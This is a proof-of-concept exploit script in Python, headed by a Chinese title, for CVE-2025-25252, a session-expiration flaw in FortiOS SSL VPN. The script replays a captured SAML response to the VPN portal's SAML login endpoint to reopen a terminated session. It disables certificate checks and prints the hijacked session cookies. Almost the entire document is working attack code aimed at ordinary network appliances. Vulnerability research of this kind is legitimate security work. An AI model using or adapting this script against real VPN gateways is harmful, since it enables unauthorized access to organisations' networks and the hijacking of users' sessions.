CVE-2025-25252 FortiOS SSL VPN会话过期不足漏洞

# CVE-2025-25252 PoC - FortiOS SSL VPN SAML Session Reuse # This PoC demonstrates the concept of SAML record reuse attack # against FortiOS SSL VPN with insufficient session expiration. import requests import base64 import urllib.parse import re from typing import Optional class FortiOSSSLVPNExploit: """ PoC for CVE-2025-25252: Insufficient Session Expiration in FortiOS SSL VPN Allows reuse of SAML records to re-open terminated sessions. """ def __init__(self, target_url: str, saml_record: str): """ Initialize the exploit. :param target_url: FortiOS SSL VPN portal URL (e.g., https://victim.com/remote/login) :param saml_record: Base64-encoded SAML response captured previously """ self.target_url = target_url.rstrip('/') self.saml_record = saml_record self.session = requests.Session() def decode_saml(self) -> dict: """Decode the base64 SAML response and extract key fields.""" try: decoded = base64.b64decode(self.saml_record).decode('utf-8', errors='ignore') # Extract SessionIndex, NameID, and NotOnOrAfter fields session_index = re.search(r'SessionIndex="([^"]+)"', decoded) name_id = re.search(r'<saml:NameID[^>]*>([^<]+)</saml:NameID>', decoded) not_on_or_after = re.search(r'NotOnOrAfter="([^"]+)"', decoded) return { 'raw': decoded, 'session_index': session_index.group(1) if session_index else None, 'name_id': name_id.group(1) if name_id else None, 'not_on_or_after': not_on_or_after.group(1) if not_on_or_after else None } except Exception as e: print(f"[ERROR] Failed to decode SAML record: {e}") return {} def submit_saml_response(self) -> Optional[requests.Response]: """ Submit the captured SAML response to the FortiOS SSL VPN portal to re-establish a session using the previously captured SAML record. """ saml_info = self.decode_saml() if not saml_info.get('raw'): print("[ERROR] Invalid SAML record provided.") return None print(f"[*] Target: {self.target_url}") print(f"[*] Session Index: {saml_info.get('session_index')}") print(f"[*] NameID: {saml_info.get('name_id')}") print(f"[*] Original NotOnOrAfter: {saml_info.get('not_on_or_after')}") # Step 1: Get the SAML login page to obtain any CSRF tokens or cookies login_url = f"{self.target_url}/remote/saml/login/" try: resp = self.session.get(login_url, timeout=10, verify=False) print(f"[*] GET {login_url} -> {resp.status_code}") except Exception as e: print(f"[ERROR] Cannot reach target: {e}") return None # Step 2: Submit the SAML response (SAML POST binding) saml_post_url = f"{self.target_url}/remote/saml/login/?acs" post_data = { 'SAMLResponse': self.saml_record, 'RelayState': '/remote/login' } print(f"[*] Submitting captured SAML record to {saml_post_url}") try: resp = self.session.post( saml_post_url, data=post_data, timeout=10, verify=False, allow_redirects=False ) print(f"[*] POST response status: {resp.status_code}") # Check if session was re-established if resp.status_code in (302, 303) or 'SVPNCOOKIE' in self.session.cookies.get_dict(): print("[+] SUCCESS: Session re-established via SAML record reuse!") print(f"[+] Session cookies: {self.session.cookies.get_dict()}") return resp else: print("[-] Session re-establishment may have failed.") return resp except Exception as e: print(f"[ERROR] Failed to submit SAML response: {e}") return None def verify_session(self) -> bool: """Verify if the re-established session is valid by accessing VPN portal.""" portal_url = f"{self.target_url}/remote/login" try: resp = self.session.get(portal_url, timeout=10, verify=False) if 'SVPNCOOKIE' in self.session.cookies.get_dict() or resp.status_code == 200: print("[+] Session is valid. VPN portal accessible.") return True print("[-] Session verification failed.") return False except Exception as e: print(f"[ERROR] Session verification error: {e}") return False def main(): # Example usage - replace with actual target and captured SAML record TARGET = "https://fortigate-victim.example.com" # SAML record should be captured from a previous legitimate session # This is a placeholder base64-encoded SAML response SAML_RECORD = "PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iPjwvc2FtbHA6UmVzcG9uc2U+" print("=" * 60) print("CVE-2025-25252 - FortiOS SSL VPN SAML Session Reuse PoC") print("=" * 60) exploit = FortiOSSSLVPNExploit(TARGET, SAML_RECORD) result = exploit.submit_saml_response() if result and result.status_code in (302, 303, 200): exploit.verify_session() if __name__ == "__main__": # Suppress SSL warnings for PoC purposes import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) main()